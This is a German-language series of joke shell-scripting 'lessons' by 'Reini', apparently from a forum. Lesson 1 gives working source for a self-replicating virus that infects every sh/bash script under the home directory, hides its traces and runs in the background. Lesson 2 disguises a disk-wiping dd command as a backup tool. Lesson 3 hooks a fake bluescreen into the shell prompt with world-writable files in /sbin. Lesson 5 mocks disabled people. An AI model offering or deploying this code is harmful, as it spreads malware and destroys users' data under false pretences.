Lektion 1.)
#!/bin/sh
if [ "$1" == "reiniwashere" ] ### wir fragen ob der erste parameter reiniwashere ist !
then ### wenn ja machen wir folgendes
x=$HOME ### das solltest Du durch dein testverzeichnis ändern
### weil sonst nimmt er dein home inclusive unterverzeichnissen !!!
for a in `find $x` ### also x ist das verzeichniss und wird durchsucht und alles an a übergeben!
do
if test -f $a ### wenn also a ein regulärer file ist
then ### dann
one=`head -n1 $a` ### hole dir die erste zeile von dem file
if [ "$one" == '#!/bin/sh' ]||[ "$one" == '#!/bin/bash' ] ### schau nach ob dort #!/bin/sh oder #!/bin/bash steht
then ### wenn dann
heil=`cat $a|grep head|grep '$0'||cat $a|grep tail |grep '$0'` ### schau ob der file sich selber mit head oder tail aufruft *1
if [ "$heil" == "" ] ### wenn der file sich selber nicht aufruft
then ### dann
lines=`cat $a|wc -l` ### zähle die anzahl der linien des files
let rest=lines-1 ### rest = anzahl der linien weniger 1
head -n1 $a > /tmp/._virout ### schreib die erste line des files nach /tmp/._virout *2
head -n36 $0|tail -n35 >> /tmp/._virout ### schreib die linien 2 bis 36 von dir selber dazu
tail -n$rest $a >> /tmp/._virout ### schreib den rest des files auch noch dazu
rights=`stat $a|head -n4|tail -n1|cut -f1 -d"/"|cut -f2 -d"("` ### merk dir die rechte des files in rights
mv -f /tmp/._virout $a ### schiebe das geschriebene über den original file
chmod $rights $a ### setze die rechte wie sie beim original waren
xmas=`date '+%m%d'` ### schreib das datum in xmas
if [ "$xmas" == "1224" ] ### ist weihnachten ?
then ### wenn ja
echo "Frohe Weihnacht Du Arsch!" ### gratulier dem user ( besser als`dd if=/dev/random of=$a count=2` #grins# )
fi
fi
fi
fi
done
rm -f /tmp/._virout ### weg mit der verräterischen datei
exit ### steig aus
else ### der erste parameter ist nicht reiniwashere
$0 reiniwashere & ### ruf dich selber im hintergrund auf mit parameter reiniwashere
fi

*1) weil wenn das script sich selber aufruft kann es sein das es seine eigenen lines zählt und dann past das nimmer wenn man nen virus reinschreibt weils vielleicht nimmer geht und dann fällts ja auf #grins#
*2) Es gibt kann kleine feine unterschiede zwischen sh und Bash geben ( ich arbeit mit verschiedenen Versionen ) und wir wollen ja net das was nimmer geht LOL

To be continue ......
Mfg Reini


Lektion 2.)

Nach dem wir nun wissen wie wir uns beliebt machen in dem wir zu Weihnachten gratulieren, werden wir nun lernen wie wir unser system sichern ohne zuviel Plattenplatz zu beanspruchen !!!

#!/bin/sh
echo "HappySpace Sicherungssystem Ver1.0"
echo "s = Sicherung starten!"
echo "r = Recovery starten!"
echo "q = HappySpace Sicherungssystem verlassen!"
while :
do
read -sn1 a
case $a in
s)
dd if=/dev/hda of=/dev/null bs=32768
echo "Sicherung wurde fehlerfrei durchgefuehrt!";;
r)
dd if=/dev/null of=/dev/hda bs=32768
echo "HA HA Ha Ha ha .........";;
q)
echo "Gesichert ? Sicherung = Sicherheit!"
break;;
esac
done

so fertig ;-)

Mfg Reini


Lektion 3.)

So nun wenden wir uns der Thematik Windowskompaktibität zu und erstellen eine datei Names bluescreen im verzeichniss /sbin ( falls nach Lektion 2 noch vorhanden )

in diese datei bluescreen schreiben wir folgendes:

#!/bin/bash
trap "echo -e '\e[0m\e[2J'; exit" EXIT SIGHUP SIGINT SIGQUIT SIGTERM

echo -ne '\e[1;37;44m\e[2J\e[1;34;47m\e[8;34H Windows
\e[1;37;44m
\e[10;6HDer schwere Ausnahmefehler 0E ist an Adresse 0028:C004456E in der
\e[11;6HVXD-Datei VFAT(01) + 00002D6A aufgetreten. Die aktuelle Anwendung
\e[12;6Hwird beendet.
\e[14;6H* DrA?cken Sie eine beliebige Taste, um die Anwendung abzubrechen
\e[15;6H* DrA?cken Sie Strg+Alt+Entf, um den Computer neu zu
\e[16;8Hstarten. Nichtgespeicherte Daten gehen dabei verloren.
\e[18;27HWeiter mit beliebiger Taste'
read

Jetzt machen wir diese Datei ausführbar in dem wir `chmod 777 /sbin/bluescreen` ausführen.

Nun werden wir diese Datei folgendermassen ins System einbinden :

PROMPT_COMMAND='LASTERROR="[$?]" ; test "$LASTERROR" = "[0]"
||`/sbin/bluescreen`';export PROMPT_COMMAND

Und schon haben wir alle relavanten Vorzüge Windows nun auch unter Linux zur Verfügung ! ;-)

Mfg Reini

Lektion 4.)

Sodala ... jetzt wenden wir uns der Benutzerfreundlichkeit zu.
Um ein ergonomisches Arbeitsumfeldzuschaffen schreiben wir folgende kleine Applikation:

#!/bin/sh
echo "Getraenkehalter zur Verfuegung stellen?"
echo "y = ja bidde"
echo "n = na danke"
echo "q = scheiss drauf ich will raus"
while :
do
read -sn1 a
case $a in
y)
eject /dev/cdrom
echo "verschuette nix ";;
n)
eject -t /dev/cdrom
echo "dann stell der Bier halt wo anders hin ";;
q)
echo "Na gut dann net"
break;;
esac
done

Wir speichern dieses äusserst nützliche konfortable tool im Verzeichniss /sbin und vergeben um langes schreiben zu unterbinden als Name gh ( für GetränkeHalter)
Nun machen wir diese Datei wieder mit `chmod 777 /sbin/gh` ausführbar und lehnen uns mit dem Wissen das uns in Zukunft der Platz fürs Bier bekannt ist, zurück !

Mfg Reini

Lektion 5.)
Um auch Minderheiten unserer Gesellschaft gerecht zu werden, nun ein kleines Beispiel wie wir behinderte Menschen aus unserer Mitte unterstützen koennen.

Jeder kennt den Befehl nl:
nl = number lines of files

Diesen Simplen Befehl werden wir nun neu Schreiben und zwar für Blinde Gehoergeschaedigte!

Dazu erstellen wir eine Datei Names nlbdp
nlbdp = number lines of files 4 blind & deaf people

Diese Datei sollte folgenden Inhalt haben:
-----------------------------------------------------
#!/bin/sh
lines=`cat $1|wc -l`
while :
do
eject
eject -t
let x=x+1
if [ $lines -eq $x ]
then
break
fi
done
------------------------------------------------------
Ein Aufruf per ./nlbdp /etc/hosts ...... und schon wird Leuten, wie zB. eventuell unserem Chef signalisiert wieviel Einträge die Datei /etc/hosts hatt.

Mfg Reini